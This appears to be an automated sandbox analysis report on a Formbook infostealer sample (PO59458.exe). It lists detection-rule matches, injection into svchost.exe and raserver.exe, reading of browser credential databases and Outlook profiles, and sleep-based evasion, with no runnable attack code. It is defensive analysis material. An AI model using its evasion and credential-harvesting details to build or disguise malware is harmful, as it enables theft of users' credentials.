Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049CE4B3	4_2_049CE4B3
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049CE61B	4_2_049CE61B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049CE398	4_2_049CE398
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049CD883	4_2_049CD883
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049CD8B8	4_2_049CD8B8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049CE84C	4_2_049CE84C

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02DAE692 appears 84 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02D2B910 appears 266 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02D75050 appears 35 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02D87BE4 appears 88 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02DBEF10 appears 105 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04B0B910 appears 265 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04B55050 appears 35 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04B67BE4 appears 84 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04B9EF10 appears 99 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 04B8E692 appears 84 times
Source: C:\Users\user\Desktop\PO59458.exe	Code function: String function: 00445975 appears 65 times
Source: C:\Users\user\Desktop\PO59458.exe	Code function: String function: 0041171A appears 37 times
Source: C:\Users\user\Desktop\PO59458.exe	Code function: String function: 0041718C appears 45 times
Source: C:\Users\user\Desktop\PO59458.exe	Code function: String function: 0040E6D0 appears 35 times

Source: PO59458.exe, 00000000.00000003.15055712787.00000000048C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO59458.exe
Source: PO59458.exe, 00000000.00000003.15061476890.0000000004DED000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs PO59458.exe

Source: PO59458.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.2150000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.2150000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.20109283800.0000000004870000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.15516344646.00000000030A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.15514625975.0000000002150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.20109395707.00000000048C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.15516453224.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.20107779500.0000000002B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.20109255101.0000000004960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@16/11

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0044AF5C GetLastError,FormatMessageW,

0_2_0044AF5C

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464422
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004364AA

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D517

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_0043701F

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,CoCreateInstanceEx,CoSetProxyBlanket,

0_2_0047A999

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0043614F FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043614F

Source: C:\Users\user\Desktop\PO59458.exe

File created: C:\Users\user\AppData\Local\Temp\Wauseon

Source: PO59458.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PO59458.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\PO59458.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: raserver.exe, 00000004.00000002.20112227965.0000000007D1B000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15697899380.0000000007D10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE benefit_merchant_domains (benefit_id VARCHAR NOT NULL, merchant_domain VARCHAR NOT NULL)U;
Source: raserver.exe, 00000004.00000003.15692238621.0000000002EA0000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15692238621.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002EC1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: raserver.exe, 00000004.00000003.15701865719.0000000007D78000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20108061852.0000000002F21000.00000004.00000020.00020000.00000000.sdmp, 4lQ1bg20.4.dr	Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: PO59458.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\PO59458.exe

File read: C:\Users\user\Desktop\PO59458.exe

Source: unknown	Process created: C:\Users\user\Desktop\PO59458.exe "C:\Users\user\Desktop\PO59458.exe"
Source: C:\Users\user\Desktop\PO59458.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO59458.exe"
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Process created: C:\Windows\SysWOW64\raserver.exe "C:\Windows\SysWOW64\raserver.exe"
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\PO59458.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO59458.exe"	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Process created: C:\Windows\SysWOW64\raserver.exe "C:\Windows\SysWOW64\raserver.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PO59458.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\PO59458.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\raserver.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Contains functionality to detect sleep reduction / modifications

Source: PO59458.exe

Static file information: File size 1326521 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mLKlRmqOwZ.exe, 00000003.00000000.15436844390.0000000000A4E000.00000002.00000001.01000000.00000004.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20108123566.0000000000A4E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: PO59458.exe, 00000000.00000003.15058209563.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, PO59458.exe, 00000000.00000003.15060260308.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15424186639.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002E2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15421403450.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20109630652.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20109630652.0000000004C0D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15514663718.0000000004779000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15517926311.000000000492C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: PO59458.exe, 00000000.00000003.15058209563.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, PO59458.exe, 00000000.00000003.15060260308.0000000004B20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.15424186639.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002E2D000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15421403450.0000000002900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.15515553298.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, raserver.exe, 00000004.00000002.20109630652.0000000004AE0000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20109630652.0000000004C0D000.00000040.00001000.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15514663718.0000000004779000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000003.15517926311.000000000492C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RAServer.pdb source: svchost.exe, 00000002.00000003.15483510043.0000000002634000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15483093524.000000000261B000.00000004.00000020.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000003.18971214960.0000000000E3B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: raserver.exe, 00000004.00000002.20108061852.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20110611182.000000000510C000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.000000000309C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.15806231999.0000000039D7C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: RAServer.pdbGCTL source: svchost.exe, 00000002.00000003.15483510043.0000000002634000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.15483093524.000000000261B000.00000004.00000020.00020000.00000000.sdmp, mLKlRmqOwZ.exe, 00000003.00000003.18971214960.0000000000E3B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: raserver.exe, 00000004.00000002.20108061852.0000000002E4A000.00000004.00000020.00020000.00000000.sdmp, raserver.exe, 00000004.00000002.20110611182.000000000510C000.00000004.10000000.00040000.00000000.sdmp, mLKlRmqOwZ.exe, 00000005.00000002.20110221863.000000000309C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.15806231999.0000000039D7C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: PO59458.exe

Static PE information: real checksum: 0xa2135 should be: 0x1483ab

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004171D1 push ecx; ret	0_2_004171E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02166353 push ss; iretd	2_2_0216640F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02163133 push esi; iretd	2_2_0216313E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02162156 push edx; iretd	2_2_0216216C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02153150 push eax; ret	2_2_02153152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02165EC3 push 00000050h; retf B9D2h	2_2_02165F49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02166412 push ss; iretd	2_2_0216640F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D308CD push ecx; mov dword ptr [esp], ecx	2_2_02D308D6
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AAA629 push es; retf	3_2_04AAA62A
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04960001 push es; ret	3_2_04960009
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AA7344 push edx; iretd	3_2_04AA735A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B108CD push ecx; mov dword ptr [esp], ecx	4_2_04B108D6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B132BF push ss; iretd	4_2_02B132BC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B122E8 push es; retf	4_2_02B122E9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B13200 push ss; iretd	4_2_02B132BC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B213D1 push esi; iretd	4_2_02B213E3
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B0F003 push edx; iretd	4_2_02B0F019
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B1EC80 push esi; ret	4_2_02B1EC8B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B10C6A push edx; ret	4_2_02B10C6D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B12D70 push 00000050h; retf B9D2h	4_2_02B12DF6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049C5484 push ss; retf	4_2_049C54C7
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049C551A push ss; retf	4_2_049C54C7
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049C503F push ebp; iretd	4_2_049C5058
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049CC828 push esi; retf	4_2_049CC82D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_049C5981 push ss; ret	4_2_049C5985

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_004772DE
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_004375B0

Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00444078

0_2_00444078

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\PO59458.exe	API/Special instruction interceptor: Address: 441F38C
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890D144
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890D604
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890D764
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890D324
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890D364
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890D004
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890FF74
Source: C:\Windows\SysWOW64\raserver.exe	API/Special instruction interceptor: Address: 7FFC7890D864

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_02D71763 rdtsc

2_2_02D71763

Source: C:\Windows\SysWOW64\raserver.exe

Window / User API: threadDelayed 9122

Source: C:\Users\user\Desktop\PO59458.exe	API coverage: 3.2 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\raserver.exe	API coverage: 3.4 %

Source: C:\Windows\SysWOW64\raserver.exe TID: 5872	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 5872	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 5872	Thread sleep count: 9122 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\raserver.exe TID: 5872	Thread sleep time: -18244000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe TID: 7308	Thread sleep time: -85000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\raserver.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452126
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,	0_2_0045C999
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00436ADE
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00434BEE
